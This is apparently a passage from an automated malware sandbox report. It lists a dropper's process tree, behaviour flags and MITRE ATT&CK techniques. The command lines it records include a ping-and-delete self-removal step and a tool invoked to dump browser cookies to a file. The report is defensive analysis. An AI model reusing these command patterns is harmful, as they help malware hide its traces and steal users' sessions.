6⤵
- Kills process with taskkill
PID:4268

C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"
4⤵
- Executes dropped EXE
PID:4160

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe" >> NUL
5⤵
PID:4704

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1
6⤵
- Runs ping.exe
PID:2168

C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"
4⤵
PID:4928

C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe"
4⤵
PID:4784

C:\ProgramData\2634026.exe
"C:\ProgramData\2634026.exe"
5⤵
PID:6024

C:\ProgramData\8087951.exe
"C:\ProgramData\8087951.exe"
5⤵
PID:1348

C:\ProgramData\Windows Host\Windows Host.exe
"C:\ProgramData\Windows Host\Windows Host.exe"
6⤵
PID:6624

C:\ProgramData\4674339.exe
"C:\ProgramData\4674339.exe"
5⤵
PID:5288

C:\ProgramData\4674339.exe
"{path}"
6⤵
PID:4176

C:\ProgramData\6086701.exe
"C:\ProgramData\6086701.exe"
5⤵
PID:5908

C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe"
4⤵
PID:4872

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
5⤵
PID:6320

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
5⤵
PID:5696

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s BITS
1⤵
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
2⤵
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
PID:4440

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3912

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:4492

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1032

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:1352

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:4308

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding CA30E49B924794F5BD1A63BC16CF3FDD C
2⤵
PID:5724

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding DD632C362C6265B1A1EA74719183A4D3
2⤵
PID:6104

C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe
"C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe"
2⤵
PID:5692

C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe
"C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe" -silent=1 -AF=756 -BF=default -uncf=default
3⤵
PID:7576

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:5988

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:2412

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:4684

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:5204

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:2612

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s seclogon
1⤵
PID:6792

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\e43a133135684f80b971ee4ec0fa9a14 /t 5480 /p 2612
1⤵
PID:5996

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall
1⤵
PID:432

C:\Windows\system32\DrvInst.exe
DrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{19f056fb-8475-0a44-8204-8f1c69e67368}\oemvista.inf" "9" "4d14a44ff" "0000000000000168" "WinSta0\Default" "000000000000016C" "208" "c:\program files (x86)\maskvpn\driver\win764"
2⤵
PID:6004

C:\Windows\system32\DrvInst.exe
DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "0000000000000168"
2⤵
PID:2288

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc
1⤵
PID:5044

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
1⤵
PID:4528

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:524

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:2872

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:4324

C:\Program Files (x86)\MaskVPN\mask_svc.exe
"C:\Program Files (x86)\MaskVPN\mask_svc.exe"
1⤵
PID:5140

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:6460

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:516

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:5964

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:6872

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:5152

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

Install Root Certificate

T1130

Credential Access

Credentials in Files

T1081

Discovery

Software Discovery

T1518

Query Registry

System Information Discovery